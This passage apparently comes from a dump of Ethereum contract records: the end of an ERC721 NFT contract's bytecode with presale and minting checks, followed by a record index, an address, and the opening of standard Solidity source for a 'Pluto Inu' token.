fffffffffffffffffffffffffffffffffffff16905090565b6060600180546114e7906146ba565b80601f0160208091040260200160405190810160405280929190818152602001828054611513906146ba565b80156115605780601f1061153557610100808354040283529160200191611560565b820191906000526020600020905b81548152906001019060200180831161154357829003601f168201915b5050505050905090565b6000611574610bc9565b905060011515600b60159054906101000a900460ff161515146115cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c390614373565b60405180910390fd5b60c8811015611610576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160790614393565b60405180910390fd5b612710828261161f91906144ef565b1115611660576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611657906143b3565b60405180910390fd5b600a8211156116a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169b90614033565b60405180910390fd5b6000341180156116c6575067013fbe85edc90000826116c39190614576565b34145b611705576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fc906141b3565b60405180910390fd5b61170f3383611f2b565b5050565b61171b611f23565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611789576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611780906140f3565b60405180910390fd5b8060056000611796611f23565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611843611f23565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516118889190613f76565b60405180910390a35050565b6118a561189f611f23565b83612027565b6118e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118db90614313565b60405180910390fd5b6118f08484848461256c565b50505050565b6060611901826125c8565b9050919050565b611910611f23565b73ffffffffffffffffffffffffffffffffffffffff1661192e6114ae565b73ffffffffffffffffffffffffffffffffffffffff1614611984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197b90614293565b60405180910390fd5b600b60169054906101000a900460ff1615600b60166101000a81548160ff021916908315150217905550565b6119b8611f23565b73ffffffffffffffffffffffffffffffffffffffff166119d66114ae565b73ffffffffffffffffffffffffffffffffffffffff1614611a2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2390614293565b60405180910390fd5b600b60159054906101000a900460ff1615600b60156101000a81548160ff021916908315150217905550565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611af4611f23565b73ffffffffffffffffffffffffffffffffffffffff16611b126114ae565b73ffffffffffffffffffffffffffffffffffffffff1614611b68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5f90614293565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611bd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcf90614013565b60405180910390fd5b611be181612403565b50565b6000611bee610bc9565b905060011515600b60169054906101000a900460ff16151514611c46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3d90614333565b60405180910390fd5b60c8811015611c8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8190614393565b60405180910390fd5b600582611c963361114f565b611ca091906144ef565b1115611ce1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd890614273565b60405180910390fd5b611cea3361128f565b611d29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d20906140b3565b60405180910390fd5b61012c60c8611d3891906144ef565b8282611d4491906144ef565b1115611d85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7c90614133565b60405180910390fd5b600a821115611dc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc090614033565b60405180910390fd5b600034118015611deb575067013fbe85edc9000082611de89190614576565b34145b611e2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2190614173565b60405180910390fd5b611e343383611f2b565b5050565b600a81565b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611eb05750611eaf8261271a565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b6000600190505b818111611f6957611f4c83611f47600e6127fc565b61280a565b611f56600e612828565b8080611f619061471d565b915050611f32565b505050565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611fe18361100f565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061203282611eb7565b612071576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206890614113565b60405180910390fd5b600061207c8361100f565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806120eb57508373ffffffffffffffffffffffffffffffffffffffff166120d38461092a565b73ffffffffffffffffffffffffffffffffffffffff16145b806120fc57506120fb8185611a58565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166121258261100f565b73ffffffffffffffffffffffffffffffffffffffff161461217b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612172906142b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156121eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e2906140d3565b60405180910390fd5b6121f683838361283e565b612201600082611f6e565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461225191906145d0565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546122a891906144ef565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b612369610fec565b6123a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239f90613fb3565b60405180910390fd5b6000600b60006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa6123ec611f23565b6040516123f99190613f0f565b60405180910390a1565b6000600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600b60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6124d1610fec565b15612511576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250890614153565b60405180910390fd5b6001600b60006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258612555611f23565b6040516125629190613f0f565b60405180910390a1565b612577848484612105565b61258384848484612896565b6125c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125b990613ff3565b60405180910390fd5b50505050565b60606125d382611eb7565b612612576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260990614233565b60405180910390fd5b6000600a60008481526020019081526020016000208054612632906146ba565b80601f016020809104026020016040519081016040528092919081815260200182805461265e906146ba565b80156126ab5780601f10612680576101008083540402835291602001916126ab565b820191906000526020600020905b81548152906001019060200180831161268e57829003601f168201915b5050505050905060006126bc612a2d565b90506000815114156126d2578192505050612715565b6000825111156127075780826040516020016126ef929190613ed6565b60405160208183030381529060405292505050612715565b61271084612abf565b925050505b919050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806127e557507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806127f557506127f482612b66565b5b9050919050565b600081600001549050919050565b612824828260405180602001604052806000815250612bd0565b5050565b6001816000016000828254019250508190555050565b612846610fec565b15612886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161287d90614153565b60405180910390fd5b612891838383612c2b565b505050565b60006128b78473ffffffffffffffffffffffffffffffffffffffff16612d3f565b15612a20578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026128e0611f23565b8786866040518563ffffffff1660e01b81526004016129029493929190613f2a565b602060405180830381600087803b15801561291c57600080fd5b505af192505050801561294d57506040513d601f19601f8201168201806040525081019061294a91906138cd565b60015b6129d0573d806000811461297d576040519150601f19603f3d011682016040523d82523d6000602084013e612982565b606091505b506000815114156129c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129bf90613ff3565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612a25565b600190505b949350505050565b6060600d8054612a3c906146ba565b80601f0160208091040260200160405190810160405280929190818152602001828054612a68906146ba565b8015612ab55780601f10612a8a57610100808354040283529160200191612ab5565b820191906000526020600020905b815481529060010190602001808311612a9857829003601f168201915b5050505050905090565b6060612aca82611eb7565b612b09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b00906142d3565b60405180910390fd5b6000612b13612a2d565b90506000815111612b335760405180602001604052806000815250612b5e565b80612b3d84612d52565b604051602001612b4e929190613ed6565b6040516020818303038152906040525b915050919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b612bda8383612eff565b612be76000848484612896565b612c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c1d90613ff3565b60405180910390fd5b505050565b612c368383836130cd565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612c7957612c74816130d2565b612cb8565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612cb757612cb6838261311b565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612cfb57612cf681613288565b612d3a565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612d3957612d3882826133cb565b5b5b505050565b600080823b905060008111915050919050565b60606000821415612d9a576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612efa565b600082905060005b60008214612dcc578080612db59061471d565b915050600a82612dc59190614545565b9150612da2565b60008167ffffffffffffffff811115612e0e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612e405781602001600182028036833780820191505090505b5090505b60008514612ef357600182612e5991906145d0565b9150600a85612e689190614766565b6030612e7491906144ef565b60f81b818381518110612eb0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85612eec9190614545565b9450612e44565b8093505050505b919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f6690614213565b60405180910390fd5b612f7881611eb7565b15612fb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612faf90614053565b60405180910390fd5b612fc46000838361283e565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461301491906144ef565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b600060016131288461114f565b61313291906145d0565b9050600060076000848152602001908152602001600020549050818114613217576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b6000600160088054905061329c91906145d0565b90506000600960008481526020019081526020016000205490506000600883815481106132f2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050806008838154811061333a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200181905550816009600083815260200190815260200160002081905550600960008581526020019081526020016000206000905560088054806133af577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b60006133d68361114f565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b828054613456906146ba565b90600052602060002090601f01602090048101928261347857600085556134bf565b82601f1061349157805160ff19168380011785556134bf565b828001600101855582156134bf579182015b828111156134be5782518255916020019190600101906134a3565b5b5090506134cc91906134d0565b5090565b5b808211156134e95760008160009055506001016134d1565b5090565b60006135006134fb84614413565b6143ee565b9050808382526020820190508285602086028201111561351f57600080fd5b60005b8581101561354f578161353588826135d5565b845260208401935060208301925050600181019050613522565b5050509392505050565b600061356c6135678461443f565b6143ee565b90508281526020810184848401111561358457600080fd5b61358f848285614678565b509392505050565b60006135aa6135a584614470565b6143ee565b9050828152602081018484840111156135c257600080fd5b6135cd848285614678565b509392505050565b6000813590506135e481615010565b92915050565b600082601f8301126135fb57600080fd5b813561360b8482602086016134ed565b91505092915050565b60008135905061362381615027565b92915050565b6000813590506136388161503e565b92915050565b60008151905061364d8161503e565b92915050565b600082601f83011261366457600080fd5b8135613674848260208601613559565b91505092915050565b600082601f83011261368e57600080fd5b813561369e848260208601613597565b91505092915050565b6000813590506136b681615055565b92915050565b6000602082840312156136ce57600080fd5b60006136dc848285016135d5565b91505092915050565b600080604083850312156136f857600080fd5b6000613706858286016135d5565b9250506020613717858286016135d5565b9150509250929050565b60008060006060848603121561373657600080fd5b6000613744868287016135d5565b9350506020613755868287016135d5565b9250506040613766868287016136a7565b9150509250925092565b6000806000806080858703121561378657600080fd5b6000613794878288016135d5565b94505060206137a5878288016135d5565b93505060406137b6878288016136a7565b925050606085013567ffffffffffffffff8111156137d357600080fd5b6137df87828801613653565b91505092959194509250565b600080604083850312156137fe57600080fd5b600061380c858286016135d5565b925050602061381d85828601613614565b9150509250929050565b6000806040838503121561383a57600080fd5b6000613848858286016135d5565b9250506020613859858286016136a7565b9150509250929050565b60006020828403121561387557600080fd5b600082013567ffffffffffffffff81111561388f57600080fd5b61389b848285016135ea565b91505092915050565b6000602082840312156138b657600080fd5b60006138c484828501613629565b91505092915050565b6000602082840312156138df57600080fd5b60006138ed8482850161363e565b91505092915050565b60006020828403121561390857600080fd5b600082013567ffffffffffffffff81111561392257600080fd5b61392e8482850161367d565b91505092915050565b60006020828403121561394957600080fd5b6000613957848285016136a7565b91505092915050565b61396981614604565b82525050565b61397881614616565b82525050565b6000613989826144a1565b61399381856144b7565b93506139a3818560208601614687565b6139ac81614853565b840191505092915050565b60006139c2826144ac565b6139cc81856144d3565b93506139dc818560208601614687565b6139e581614853565b840191505092915050565b60006139fb826144ac565b613a0581856144e4565b9350613a15818560208601614687565b80840191505092915050565b6000613a2e6014836144d3565b9150613a3982614864565b602082019050919050565b6000613a51602b836144d3565b9150613a5c8261488d565b604082019050919050565b6000613a746032836144d3565b9150613a7f826148dc565b604082019050919050565b6000613a976026836144d3565b9150613aa28261492b565b604082019050919050565b6000613aba601d836144d3565b9150613ac58261497a565b602082019050919050565b6000613add601c836144d3565b9150613ae8826149a3565b602082019050919050565b6000613b00600f836144d3565b9150613b0b826149cc565b602082019050919050565b6000613b23601c836144d3565b9150613b2e826149f5565b602082019050919050565b6000613b46601b836144d3565b9150613b5182614a1e565b602082019050919050565b6000613b696024836144d3565b9150613b7482614a47565b604082019050919050565b6000613b8c6019836144d3565b9150613b9782614a96565b602082019050919050565b6000613baf602c836144d3565b9150613bba82614abf565b604082019050919050565b6000613bd2601f836144d3565b9150613bdd82614b0e565b602082019050919050565b6000613bf56010836144d3565b9150613c0082614b37565b602082019050919050565b6000613c18601e836144d3565b9150613c2382614b60565b602082019050919050565b6000613c3b6038836144d3565b9150613c4682614b89565b604082019050919050565b6000613c5e6015836144d3565b9150613c6982614bd8565b602082019050919050565b6000613c81602a836144d3565b9150613c8c82614c01565b604082019050919050565b6000613ca46029836144d3565b9150613caf82614c50565b604082019050919050565b6000613cc76020836144d3565b9150613cd282614c9f565b602082019050919050565b6000613cea6031836144d3565b9150613cf582614cc8565b604082019050919050565b6000613d0d602c836144d3565b9150613d1882614d17565b604082019050919050565b6000613d30602c836144d3565b9150613d3b82614d66565b604082019050919050565b6000613d536020836144d3565b9150613d5e82614db5565b602082019050919050565b6000613d766029836144d3565b9150613d8182614dde565b604082019050919050565b6000613d99602f836144d3565b9150613da482614e2d565b604082019050919050565b6000613dbc6021836144d3565b9150613dc782614e7c565b604082019050919050565b6000613ddf6000836144c8565b9150613dea82614ecb565b600082019050919050565b6000613e026031836144d3565b9150613e0d82614ece565b604082019050919050565b6000613e256013836144d3565b9150613e3082614f1d565b602082019050919050565b6000613e48602c836144d3565b9150613e5382614f46565b604082019050919050565b6000613e6b6017836144d3565b9150613e7682614f95565b602082019050919050565b6000613e8e6010836144d3565b9150613e9982614fbe565b602082019050919050565b6000613eb16015836144d3565b9150613ebc82614fe7565b602082019050919050565b613ed08161466e565b82525050565b6000613ee282856139f0565b9150613eee82846139f0565b91508190509392505050565b6000613f0582613dd2565b9150819050919050565b6000602082019050613f246000830184613960565b92915050565b6000608082019050613f3f6000830187613960565b613f4c6020830186613960565b613f596040830185613ec7565b8181036060830152613f6b818461397e565b905095945050505050565b6000602082019050613f8b600083018461396f565b92915050565b60006020820190508181036000830152613fab81846139b7565b905092915050565b60006020820190508181036000830152613fcc81613a21565b9050919050565b60006020820190508181036000830152613fec81613a44565b9050919050565b6000602082019050818103600083015261400c81613a67565b9050919050565b6000602082019050818103600083015261402c81613a8a565b9050919050565b6000602082019050818103600083015261404c81613aad565b9050919050565b6000602082019050818103600083015261406c81613ad0565b9050919050565b6000602082019050818103600083015261408c81613af3565b9050919050565b600060208201905081810360008301526140ac81613b16565b9050919050565b600060208201905081810360008301526140cc81613b39565b9050919050565b600060208201905081810360008301526140ec81613b5c565b9050919050565b6000602082019050818103600083015261410c81613b7f565b9050919050565b6000602082019050818103600083015261412c81613ba2565b9050919050565b6000602082019050818103600083015261414c81613bc5565b9050919050565b6000602082019050818103600083015261416c81613be8565b9050919050565b6000602082019050818103600083015261418c81613c0b565b9050919050565b600060208201905081810360008301526141ac81613c2e565b9050919050565b600060208201905081810360008301526141cc81613c51565b9050919050565b600060208201905081810360008301526141ec81613c74565b9050919050565b6000602082019050818103600083015261420c81613c97565b9050919050565b6000602082019050818103600083015261422c81613cba565b9050919050565b6000602082019050818103600083015261424c81613cdd565b9050919050565b6000602082019050818103600083015261426c81613d00565b9050919050565b6000602082019050818103600083015261428c81613d23565b9050919050565b600060208201905081810360008301526142ac81613d46565b9050919050565b600060208201905081810360008301526142cc81613d69565b9050919050565b600060208201905081810360008301526142ec81613d8c565b9050919050565b6000602082019050818103600083015261430c81613daf565b9050919050565b6000602082019050818103600083015261432c81613df5565b9050919050565b6000602082019050818103600083015261434c81613e18565b9050919050565b6000602082019050818103600083015261436c81613e3b565b9050919050565b6000602082019050818103600083015261438c81613e5e565b9050919050565b600060208201905081810360008301526143ac81613e81565b9050919050565b600060208201905081810360008301526143cc81613ea4565b9050919050565b60006020820190506143e86000830184613ec7565b92915050565b60006143f8614409565b905061440482826146ec565b919050565b6000604051905090565b600067ffffffffffffffff82111561442e5761442d614824565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561445a57614459614824565b5b61446382614853565b9050602081019050919050565b600067ffffffffffffffff82111561448b5761448a614824565b5b61449482614853565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b60006144fa8261466e565b91506145058361466e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561453a57614539614797565b5b828201905092915050565b60006145508261466e565b915061455b8361466e565b92508261456b5761456a6147c6565b5b828204905092915050565b60006145818261466e565b915061458c8361466e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156145c5576145c4614797565b5b828202905092915050565b60006145db8261466e565b91506145e68361466e565b9250828210156145f9576145f8614797565b5b828203905092915050565b600061460f8261464e565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b838110156146a557808201518184015260208101905061468a565b838111156146b4576000848401525b50505050565b600060028204905060018216806146d257607f821691505b602082108114156146e6576146e56147f5565b5b50919050565b6146f582614853565b810181811067ffffffffffffffff8211171561471457614713614824565b5b80604052505050565b60006147288261466e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561475b5761475a614797565b5b600182019050919050565b60006147718261466e565b915061477c8361466e565b92508261478c5761478b6147c6565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f5061757361626c653a206e6f7420706175736564000000000000000000000000600082015250565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4d696e7420616d6f756e74206578636565647320746865206c696d6974000000600082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f5769746864726177206661696c65640000000000000000000000000000000000600082015250565b7f4d61782061697264726f70207175616e74697479207265616368656400000000600082015250565b7f4e6f74207265676973746572656420666f72207072652d73616c650000000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4e6f7420656e6f756768207072652d73616c6520737570706c79206c65667400600082015250565b7f5061757361626c653a2070617573656400000000000000000000000000000000600082015250565b7f5072652d73616c65206d696e74696e67207072696365206e6f74206d65740000600082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4d696e74696e67207072696365206e6f74206d65740000000000000000000000600082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f45524337323155524953746f726167653a2055524920717565727920666f722060008201527f6e6f6e6578697374656e7420746f6b656e000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f456163682061646472657373206d6179206f6e6c79206275792035206b696e6760008201527f7320696e2070726573616c650000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f70726573616c65206973206e6f74206f70656e00000000000000000000000000600082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f7075626c69632073616c65206973206e6f74206f70656e000000000000000000600082015250565b7f4e6f7420796574206c61756e6368656400000000000000000000000000000000600082015250565b7f4e6f7420656e6f756768206d696e7473206c6566740000000000000000000000600082015250565b61501981614604565b811461502457600080fd5b50565b61503081614616565b811461503b57600080fd5b50565b61504781614622565b811461505257600080fd5b50565b61505e8161466e565b811461506957600080fd5b5056fea2646970667358221220c70d587be4c8e7374b0e90bea794610ab7d9ac1cd5e1c44d585c8755445fde2b64736f6c63430008040033
[ 5 ]
0xF28B8EdE12192B428c43071C173DcDaB0b30A3c6
/* $Pluto Inu Space-Dog themed yield generating protocol on the Ethereum Network. https://t.me/plutoeth */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: 